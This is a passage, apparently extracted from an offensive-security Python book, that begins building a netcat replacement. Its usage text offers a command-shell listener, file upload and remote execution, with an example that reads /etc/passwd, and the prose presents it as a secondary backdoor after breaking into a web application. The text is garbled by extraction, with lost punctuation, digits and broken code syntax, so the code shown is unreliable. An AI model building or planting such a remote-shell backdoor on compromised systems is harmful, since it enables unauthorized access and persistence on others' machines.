netcat is the utility knife of networkingso it' no surprise that shrewd systems administrators remove it from their systems on more than one occasioni've run into servers that do not have netcat installed but do have python in these casesit' useful to create simple network client and server that you can use to push filesor to have listener that gives you command-line access if you've broken in through web applicationit is definitely worth dropping python callback to give you secondary access without having to first burn one of your trojans or backdoors creating tool like this is also great python exerciseso let' get started import sys import socket import getopt import threading import subprocess define some global variables listen false command false upload false execute "target "upload_destination "port herewe are just importing all of our necessary libraries and setting some global variables no heavy lifting quite yet now let' create our main function responsible for handling command-line arguments and calling the rest of our functions def usage()print "bhp net toolprint print "usagebhpnet py - target_host - portprint "- --listen listen on [host]:[portfor incoming connectionsprint "- --execute=file_to_run execute the given file upon receiving connectionprint "- --command initialize command shellprint "- --upload=destination upon receiving connection upload file and write to [destination]print print print "examplesprint "bhpnet py - - - -cprint "bhpnet py - - - - = :\\target exeprint "bhpnet py - - - - =\"cat /etc/passwd\"print "echo 'abcdefghi/bhpnet py - - sys exit( def main()global listen global port global execute global command global upload_destination global target if not len(sys argv[ :])usage(read the commandline options